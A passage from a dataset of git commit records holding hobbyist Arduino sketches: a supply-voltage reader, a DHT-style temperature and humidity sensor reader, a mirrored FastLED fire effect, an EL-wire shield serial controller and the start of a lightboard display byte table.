defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n#elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n#elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n#else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n#endif\n\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA, ADSC)); \/\/ measuring\n\n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH\n uint8_t high = ADCH; \/\/ unlocks both\n\n long result = (high << 8) | low;\n\n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n adc_disable();\n\n return (int)result; \/\/ Vcc in millivolts\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_41-promini-nrf24-ads1115\/_41-promini-nrf24-ads1115.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c8dccae0259830347790e5c3304c18f5a8db3e8b","subject":"Initial commit.","message":"Initial commit.\n","repos":"charleskorn\/weather-thingy-particle,charleskorn\/weather-thingy-particle,charleskorn\/weather-thingy-particle","old_file":"main.ino","new_file":"main.ino","new_contents":"#define TEMP_SENSOR_PIN D6\n\nvoid setup() {\n Serial.println(\"Hello world!\");\n\n Spark.publish(\"I'm alive\", \"It's true\");\n}\n\nvoid loop() {\n Serial.println(\"Starting to read temperature.\");\n\n readSensorData();\n\n Serial.println(\"Done reading temperature.\");\n\n delay(10000);\n}\n\nvoid readSensorData() {\n pinMode(TEMP_SENSOR_PIN, OUTPUT);\n\n digitalWrite(TEMP_SENSOR_PIN, LOW);\n delay(5); \/\/ Wait between 1 and 10 ms\n\n digitalWrite(TEMP_SENSOR_PIN, HIGH);\n delayMicroseconds(30); \/\/ Pull high for 20-40 us\n\n pinMode(TEMP_SENSOR_PIN, INPUT);\n\n if (!waitFor(TEMP_SENSOR_PIN, LOW, 80)) {\n Serial.println(\"Sensor didn't pull line low!\");\n return;\n }\n\n if (!waitFor(TEMP_SENSOR_PIN, HIGH, 80)) {\n Serial.println(\"Sensor didn't pull line high!\");\n return;\n }\n\n unsigned long pulseWidths[40];\n unsigned char bits[40];\n\n for (int i = 39; i >= 0; i--) {\n \/\/ Wait for line to go low\n while (digitalRead(TEMP_SENSOR_PIN) != LOW) {}\n\n \/\/ Wait for line to go high\n while (digitalRead(TEMP_SENSOR_PIN) != HIGH) {}\n\n unsigned long startTime = micros();\n\n \/\/ Wait for line to go low\n while (digitalRead(TEMP_SENSOR_PIN) != LOW) {}\n\n pulseWidths[i] = micros() - startTime;\n }\n\n for (int i = 39; i >= 0; i--) {\n \/\/ Serial.print(i, DEC);\n \/\/ Serial.print(\" \");\n \/\/ Serial.println(pulseWidths[i]);\n\n if (pulseWidths[i] > 30) {\n bits[i] = 1;\n } else {\n bits[i] = 0;\n }\n }\n\n uint16_t humidityRaw = read16(bits, 39);\n uint16_t temperatureRaw = read16(bits, 23);\n uint8_t checksum = read8(bits, 7);\n\n float humidity = convertToHumdity(humidityRaw);\n float temperature = convertToTemperature(temperatureRaw);\n\n Serial.print(\"Humidity: \");\n Serial.println(humidity);\n\n Serial.print(\"Temperature: \");\n Serial.println(temperature);\n\n verifyChecksum(humidityRaw, temperatureRaw, checksum);\n}\n\nbool waitFor(int pin, int value, unsigned int timeout) {\n unsigned long startTime = micros();\n\n while ((micros() - startTime) < timeout) {\n if (digitalRead(pin) == value) {\n return true;\n }\n }\n\n return false;\n}\n\nuint16_t read16(unsigned char *bits, int start) {\n uint16_t value = 0;\n\n for (int i = 0; i < 16; i++) {\n uint16_t bitContribution = bits[start - i] << (15 - i);\n value = value + bitContribution;\n }\n\n return value;\n}\n\nuint8_t read8(unsigned char *bits, int start) {\n uint8_t value = 0;\n\n for (int i = 0; i < 8; i++) {\n uint8_t bitContribution = bits[start - i] << (7 - i);\n value = value + bitContribution;\n }\n\n return value;\n}\n\nfloat convertToTemperature(uint16_t value) {\n bool isNegative = false;\n\n if ((value & 0x8000) == 0x8000) {\n isNegative = true;\n }\n\n value = value & 0x7FFF; \/\/ Mask out sign bit\n\n float temperature = value \/ 10.0f;\n\n if (isNegative) {\n temperature = -temperature;\n }\n\n return temperature;\n}\n\nfloat convertToHumdity(uint16_t value) {\n return value \/ 10.0f;\n}\n\nvoid verifyChecksum(uint16_t humidityRaw, uint16_t temperatureRaw, uint8_t receivedChecksum) {\n uint8_t part1 = ((humidityRaw & 0xFF00) >> 8);\n uint8_t part2 = humidityRaw & 0x00FF;\n uint8_t part3 = ((temperatureRaw & 0xFF00) >> 8);\n uint8_t part4 = temperatureRaw & 0x00FF;\n\n uint8_t calculatedChecksum = (part1 + part2 + part3 + part4) & 0xFF;\n\n if (calculatedChecksum == receivedChecksum) {\n Serial.println(\"Checksum OK\");\n } else {\n Serial.println(\"Checksum not OK!\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"af9438e4e7a35fa93465a93c2d6e91fe9ff45603","subject":"Create mirrored_Fire2012_on_one_strip.ino","message":"Create mirrored_Fire2012_on_one_strip.ino","repos":"marmilicious\/FastLED_examples","old_file":"mirrored_Fire2012_on_one_strip.ino","new_file":"mirrored_Fire2012_on_one_strip.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of running FastLED's Fire2012 example on the first\n\/\/ half of a strip, and mirroring that to the the second half.\n\/\/\n\/\/ The first thing I did was find & replace NUM_LEDS with NUM_LEDS\/2\n\/\/ in all parts of the Fire2012 function.\n\/\/\n\/\/ Then I added the \"mirror2ndHalf\" function that always gets run\n\/\/ right before FastLED.show()\n\/\/\n\/\/ Marc Miller, Feb 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32 \/\/ Total number of pixels in strip\n#define BRIGHTNESS 100\nCRGB leds[NUM_LEDS];\n\n#define FRAMES_PER_SECOND 100\n\nbool gReverseDirection = false;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n Serial.println(\"Setup done. \\n\");\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop()\n{\n \/\/ Add entropy to random number generator; we use a lot of it.\n \/\/ random16_add_entropy( random());\n\n Fire2012(); \/\/ run simulation frame\n \n mirror2ndHalf(); \/\/ copy and mirror first half of strip to second half\n FastLED.show(); \/\/ display this frame\n FastLED.delay(1000 \/ FRAMES_PER_SECOND);\n}\n\n\n\n\/\/---------------------------------------------------------------\n\/\/ Fire2012 by Mark Kriegsman, July 2012\n\/\/ as part of \"Five Elements\" shown here: http:\/\/youtu.be\/knWiGsmgycY\n\/\/\/\/ \n\/\/ This basic one-dimensional 'fire' simulation works roughly as follows:\n\/\/ There's a underlying array of 'heat' cells, that model the temperature\n\/\/ at each point along the line. Every cycle through the simulation, \n\/\/ four steps are performed:\n\/\/ 1) All cells cool down a little bit, losing heat to the air\n\/\/ 2) The heat from each cell drifts 'up' and diffuses a little\n\/\/ 3) Sometimes randomly new 'sparks' of heat are added at the bottom\n\/\/ 4) The heat from each cell is rendered as a color into the leds array\n\/\/ The heat-to-color mapping uses a black-body radiation approximation.\n\/\/\n\/\/ Temperature is in arbitrary units from 0 (cold black) to 255 (white hot).\n\/\/\n\/\/ This simulation scales it self a bit depending on NUM_LEDS; it should look\n\/\/ \"OK\" on anywhere from 20 to 100 LEDs without too much tweaking. \n\/\/\n\/\/ I recommend running this simulation at anywhere from 30-100 frames per second,\n\/\/ meaning an interframe delay of about 10-35 milliseconds.\n\/\/\n\/\/ Looks best on a high-density LED setup (60+ pixels\/meter).\n\/\/\n\/\/\n\/\/ There are two main parameters you can play with to control the look and\n\/\/ feel of your fire: COOLING (used in step 1 above), and SPARKING (used\n\/\/ in step 3 above).\n\/\/\n\/\/ COOLING: How much does the air cool as it rises?\n\/\/ Less cooling = taller flames. More cooling = shorter flames.\n\/\/ Default 50, suggested range 20-100 \n#define COOLING 90\n\n\/\/ SPARKING: What chance (out of 255) is there that a new spark will be lit?\n\/\/ Higher chance = more roaring fire. Lower chance = more flickery fire.\n\/\/ Default 120, suggested range 50-200.\n#define SPARKING 50\n\n\n\/\/---------------------------------------------------------------\n\/\/ ***** NOTE: NUM_LEDS was replaced with NUM_LEDS\/2 anywhere it was found\n\/\/ below. This makes the fire only run on the first half of the strip. *****\n\/\/---------------------------------------------------------------\nvoid Fire2012()\n{\n\/\/ Array of temperature readings at each simulation cell\n static byte heat[NUM_LEDS\/2];\n\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS\/2; i++) {\n heat[i] = qsub8( heat[i], random8(0, ((COOLING * 10) \/ NUM_LEDS\/2) + 2));\n }\n \n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for( int k= NUM_LEDS\/2 - 1; k >= 2; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random8() < SPARKING ) {\n int y = random8(7);\n heat[y] = qadd8( heat[y], random8(160,255) );\n }\n\n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS\/2; j++) {\n CRGB color = HeatColor( heat[j]);\n int pixelnumber;\n if( gReverseDirection ) {\n pixelnumber = (NUM_LEDS\/2-1) - j;\n } else {\n pixelnumber = j;\n }\n leds[pixelnumber] = color;\n }\n}\n\n\n\/\/---------------------------------------------------------------\nvoid mirror2ndHalf() {\n \/\/ copy in reverse order first half of strip to second half\n for (uint8_t i = 0; i < NUM_LEDS\/2; i++) {\n leds[NUM_LEDS-1-i] = leds[i]; \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mirrored_Fire2012_on_one_strip.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45911f19f93ce4a0d43c40f0e24e0cd8860c3f63","subject":"Create sous-vide.ino","message":"Create sous-vide.ino","repos":"rbrady\/sous-vide-lib,rbrady\/sous-vide-lib","old_file":"firmware\/examples\/sous-vide.ino","new_file":"firmware\/examples\/sous-vide.ino","new_contents":"#include \"sous-vide-lib\/sous-vide-lib.h\"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/sous-vide.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c2cfb85971c211393bfc69196cc5f7431ad0033e","subject":"EL Shield Arduino code added","message":"EL Shield Arduino code added\n","repos":"infil00p\/ELControl","old_file":"arduino\/ELShield.ino","new_file":"arduino\/ELShield.ino","new_contents":"\n#include <SoftwareSerial.h>\n\nint inByte = 0;\nint lastByte = 0;\n\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\n\nvoid setup() {\n for(int i = 4; i<8; i++)\n { \n pinMode(i, OUTPUT);\n }\n Serial.begin(9600);\n\n mySerial.begin(9600);\n}\n \nvoid setEL(int ch) \/\/ set a certain EL on\n{ \n for(int i = 4; i<8; i++) \/\/ all off\n {\n digitalWrite(i, LOW);\n }\n digitalWrite(ch+4, HIGH); \/\/ ch on\n} \n \nint count = 0; \n \nvoid loop()\n{ \n if (mySerial.available())\n {\n int input = mySerial.read();\n \/\/This exists for debugging purposes\n Serial.write(input);\n \/\/This is dirty, but it works.\n int incomingByte = input - '0';\n int moduls = incomingByte%4;\n if(incomingByte != lastByte)\n {\n setEL(moduls);\n }\n }\n if (Serial.available())\n {\n mySerial.write(Serial.read());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ELShield.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a06bf11886eab54f326169363437d325b5d42566","subject":"Combined serial to one push for whole page","message":"Combined serial to one push for whole page\n","repos":"bytestudios\/balitmorenode-lightboard","old_file":"arduino\/bigboard.ino","new_file":"arduino\/bigboard.ino","new_contents":"\/*#include <MemoryFree.h>*\/\n\n#define DELAYSHORT 6\n#define DELAYMEDIUM 12\n\n#define DELAYEND 25\n\nbyte default_display[20*142] =\n\"\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x40\\x40\\x40\\x40\\x40\\x40\\x00\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\"\n\"\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x00\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\\x80\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x40\\x40\\x40\\x40\\x40\\x40\\x00\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\\x40\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x00\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x00\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\x00\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\\xa0\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\x00\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\\xc0\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\x00\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\\xe0\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x00\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x00\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\\x08\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x00\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\\x04\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\"\\x00\\x00\\